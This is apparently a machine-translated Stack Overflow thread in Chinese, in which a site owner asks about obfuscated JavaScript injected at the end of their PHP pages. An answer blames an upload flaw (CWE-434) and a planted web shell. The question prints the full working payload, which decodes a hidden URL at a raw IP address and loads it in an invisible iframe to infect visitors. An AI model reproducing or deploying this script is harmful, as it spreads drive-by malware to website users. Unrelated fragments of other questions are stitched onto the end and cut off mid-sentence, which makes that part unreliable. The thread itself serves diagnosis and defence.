- r - 以节省内存的方式增长 data.frame
- ruby-on-rails - ruby/ruby on rails 内存泄漏检测
- android - 无法解析导入android.support.v7.app
- UNIX 域套接字与共享内存(映射文件)
问题:
在我的网站空间中,有一些 PHP 文件都以此结尾:
<?php include 'footer.php'; ?>
在这一行之前,文件中还有 HTML 代码。
当然,浏览器中的输出以此结尾:
</body>
</html>
但是昨天,最后突然出现了一些恶意代码。我的 index.php 的输出是:
</body>
</html><body><script>
var i={j:{i:{i:'~',l:'.',j:'^'},l:{i:'%',l:218915,j:1154%256},j:{i:1^0,l:55,j:'ijl'}},i:{i:{i:function(j){try{var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x6e\x70\x75\x74');l['\x74\x79\x70\x65']='\x68\x69\x64\x64\x65\x6e';l['\x76\x61\x6c\x75\x65']=j;l['\x69\x64']='\x6a';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);}catch(j){return false;}
return true;},l:function(){try{var l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6a');}catch(l){return false;}
return l.value;},j:function(){var l=i.i.i.i(i.l.i.i('.75.67.67.63.3a.2f.2f.39.32.2e.36.30.2e.31.37.37.2e.32.33.35.2f.76.61.71.72.6b.2e.63.75.63.3f.66.75.61.6e.7a.72.3d.6b.37.36.6b.30.39'));var j=(l)?i.i.i.l():false;return j;}},l:{i:function(){var l=i.i.i.j('trashtext');var j=(l)?l:'trashtext';return j||false;},l:function(){var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x6c');l['\x77\x69\x64\x74\x68']='0.1em';l['\x68\x65\x69\x67\x68\x74']='0.2em';l['\x73\x74\x79\x6c\x65']['\x62\x6f\x72\x64\x65\x72']='none';l['\x73\x74\x79\x6c\x65']['\x64\x69\x73\x70\x6c\x61\x79']='none';l['\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c']='\x6c';l['\x69\x64']='\x6c';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);},j:function(){var l=i.i.j.j(i.i.l.l());l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6c');var j=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x66\x72\x61\x6d\x65');j['\x68\x65\x69\x67\x68\x74']=j['\x77\x69\x64\x74\x68'];j['\x73\x72\x63']=i.i.j.i(i.i.l.i());try{l['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](j);}catch(j){}}},j:{i:function(l){return l['replace'](/[A-Za-z]/g,function(j){return String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']((((j=j.charCodeAt(0))&223)-52)%26+(j&32)+65);});},l:function(l){return i.i.j.i(l)['\x74\x6f\x53\x74\x72\x69\x6e\x67']()||false;},j:function(l){try{l();}catch(l){}}}},l:{i:{i:function(l){l=l['replace'](/[.]/g,'%');return window['\x75\x6e\x65\x73\x63\x61\x70\x65'](l);},l:'50',j:'33'},l:{i:'62',l:'83',j:'95'},j:{i:'46',l:'71',j:'52'}}}
i.i.l.j();</script>
我在我的网站空间(通过 FTP 下载)上打开文件,我看到有人将这段代码直接放入文件中!
这怎么会发生?
我能想到的唯一方法:
症状:
用户报告在 Firefox 中弹出一个蓝色面板。它要求他们安装一个插件。现在他们中的一些人的 PC 上有 Exploit.Java.CVE-2010-0886.a。
这是由于恶意代码吗?代码到底做了什么?
你能帮帮我吗?
请帮帮我,我真的很绝望。
也许还有一个问题,如果你知道我是怎么得到它的:我怎样才能防止将来发生这样的事情?
编辑#1:
我在我的网站空间的根目录中找到了一个名为“x76x09.php”的文件。它的文件大小为 44.281 字节。我已经下载并尝试打开它。但是我的杀毒软件说这是木马(Trojan.Script.224490)。我认为该文件已被执行并将恶意代码添加到每个目录中的“index.php”。这有帮助吗?木马怎么会来到我的空间?这是众所周知的病毒吗?
编辑#2:
我的托管人说他现在可以确定该文件不是通过 FTP 上传的。所以感染不是通过 FTP 发生的。根据我的托管商的说法,它一定是不安全的脚本。
编辑#3:
根据 PHPSecInfo 的安全漏洞:
编辑#4:
我已经分析了在我的网络服务器上执行的文件。 Here's the results .
所以这个病毒似乎被称为:
它们中的一些是否会导致我的网站空间上的恶意文件添加了恶意代码?
最佳答案
我不认为问题是您使用的是共享主机,因为我发现了其他六个( degmsb 、 Benvolio 、 joomla01 、 DJ-Alien 、 valerione1979 和 Kars ) 其网站添加了相同的脚本。此外,您的任何文件是否可以被其他人写入是值得怀疑的,因为通过 FTP 上传的文件受文件创建模式位掩码的约束。
我最好的猜测是有人正在使用已知漏洞或针对常见弱点的漏洞来破解网站,并且此人正在使用 Google hacking 识别可能的目标。 . degmsb 的 Wordpress 网站和 Benvolio 的 Burning Board Lite 网站很可能是通过已知的漏洞利用(可能是已知的这些软件基础插件的漏洞利用,例如 TinyMCE)破解的,而您的网站,因为您自己编写的,可能是通过针对一个常见网站的漏洞利用破解的弱点。
鉴于您允许文件上传(您的一个 PHP 脚本接受并保存用户上传的文件),我会考虑 CWE-434: Unrestricted Upload of File with Dangerous Type . CWE-434 漏洞的工作原理如下:假设您允许用户上传头像图像或图片。将上传图像发布到的脚本可能会使用用户提供的相同文件名将文件保存到 /images
。现在假设有人上传了 x76x09.gif.php
(或 x76x09.gif.asp
、x76x09.gif.php4
等)。您的脚本将尽职尽责地将此上传保存到 /images/x76x09.gif.php
并且黑客需要做的就是让服务器运行此脚本是浏览到 /images/x76x09.gif .php
。即使文件名为 x76x09.php.gif
,某些 Web 服务器也会执行该文件。
另一种可能是PHP接收到的上传的文件名,$_FILES['upload']['name']
,也就是filename
中的值发送的 Content-Disposition
header 构造为类似 ..\modules\x.gif
的内容。如果您的脚本将新上传的文件保存到 str_replace('\\', '/', '/images/' .basename($_FILES['upload']['name']))
,或非 Windows 主机上的 /images/../modules/x.gif
( http://codepad.org/t83dYZwa ),并且用户可以通过某种方式使您的 PHP 脚本之一 include
或 require
modules
目录中的任何脚本(比如 index.php?module=x.gif&action=blah
),那么破解者就可以执行任意 PHP。
编辑:它looks like x76x09.php
是某种不受限制的目录浏览器和文件 uploader 。如果用户设法将其上传到您的服务器,那么他们基本上可以做任何您使用 FTP 访问可以做的事情。 删除它。
EDIT2:查找 this PHP source 的副本(gzuncompress(base64_decode("HJ3H...geFb//eeff/79z/8A"));
部分)。 将它从您的所有 PHP 脚本中删除。
EDIT3: 谷歌搜索 PHP 脚本的部分内容,我发现了几个逐字列出该来源的网页,所有这些网页都与各自网站的文件上传功能有关。因此,您网站的黑客很可能使用了 CWE-434 漏洞。
关于PHP 脚本 : malicious JavaScript code at the end,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/3121367/
根本不是 SQL 人员。让顾问编写以下代码。 首先,它确保只选择了一所小学 - 然后,在 BEGIN 之后,如果变量 @Term 等于 3,我们想要在 IF 语句下执行操作。问题就在这里。当 @Ter
以下 javascript 将 bool 值呈现到每个语句的右侧: var reg = new RegExp(/^[\w\/].*result\b/); console.log(reg.test('p
有什么区别: x = 1 while x < 5 do x += 1 print x end 和: x = 1 while x < 5 x += 1 print x end 将 do
对于初学者来说,我是编程的“菜鸟”,所以只需了解事情的工作原理并向社区寻求帮助。 但是...我想知道的是: 我想要构建一个 Web 应用程序,两个主要用户界面之一实际上是日历产品。每个日历项目都有 8
我正在尝试制作带有图片上传选项的表单。我正在使用 express-http-proxy作为我的 API 代理和 multer按照建议。 app.use('/api', upload.any(), pr
根据this中的回答和 this问题,C++ 标准在 § 23.2.1 中声明 end() 对于所有 STL 容器都具有恒定的时间复杂度。 如果我理解正确的话: std::forward_list 只
当我使用 css 属性 align-items 时,我看不到 flex-end 值或 end 值有任何视觉差异>. align-items: end 和 align-items: flex-end 有
Sub RowRangeMove() Sheets.Add().Name = "CopySheet" With Sheets("BigDataSet - Copy")
假设第 1 到 5,000 列中有 25,000 到 50,000 行数据,每列可能有不同的行数。所有数据都是连续的,即列中没有空行,也没有空列。 考虑以下代码 Dim i As Long Dim W
我在 MYSQL 中有一个表,必须在 postgresql 中转换它。 我正在使用以下命令创建表格。 create table emp(COMPLETE BOOLEAN NOT NULL, END B
我正在尝试使用 Lark 为 BASIC 创建一个 LALR 解析器,而且我很难解决“END”语句和“END IF”等语句之间的冲突。这是语法的简化版本: %ignore /[ \t\f]+/ pro
试图理解this MSDN sample但我对这些行感到困惑: IAsyncResult result = Dns.BeginGetHostEntry(args[0], null, null); Co
我在 http://www.sgi.com/tech/stl/nth_element.html 阅读了 std::nth_element 的描述 template void nth_element(
为什么标准将 end() 定义为末尾,而不是实际末尾? 最佳答案 最好的论据是Dijkstra himself 提出的论据。 : 您希望范围的大小是一个简单的差异end - begin; 当序列退化为
我试图根据一些参数停止页面的其余部分加载;但不确定语法是否正确。 @if(dayRes + dayTri == 2){Sorry, etc @Response.End} 上面抛出这个错误: CS150
在二分搜索中,我们通常有 low 和 high 变量,并且通常有一个 while 循环来测试 low <= high,如以下代码所示(来自维基百科): int SortedArray[max] = {
我将 MS-Test 与 Visual Studio 2010 和 Visual Basic 结合使用。 在下面的函数中,代码覆盖率告诉我,有一个未检查的 block ,并且带有 “End Try”
所以今天我一直致力于使用 Protractor 为 Angular JS 应用程序设置端到端测试。为了编写更清晰的测试,我使用了 Protractor 网站上描述的 Page Object 模式。 测
所以 meteor js 的全部意义在于允许用户一次对整个堆栈进行编码,但是如果我正在使用像 django 这样的旧框架之一,可以借用meteor js的前端代码吗?比如前端的数据库同步,模板化,或者
我正在使用 wavesurfer.js 和 recorder.js 制作采样器。一切都很顺利,除了我无法使用 play([start[, end]]) 调整循环长度。 wavesurfer.seekT
我是一名优秀的程序员,十分优秀!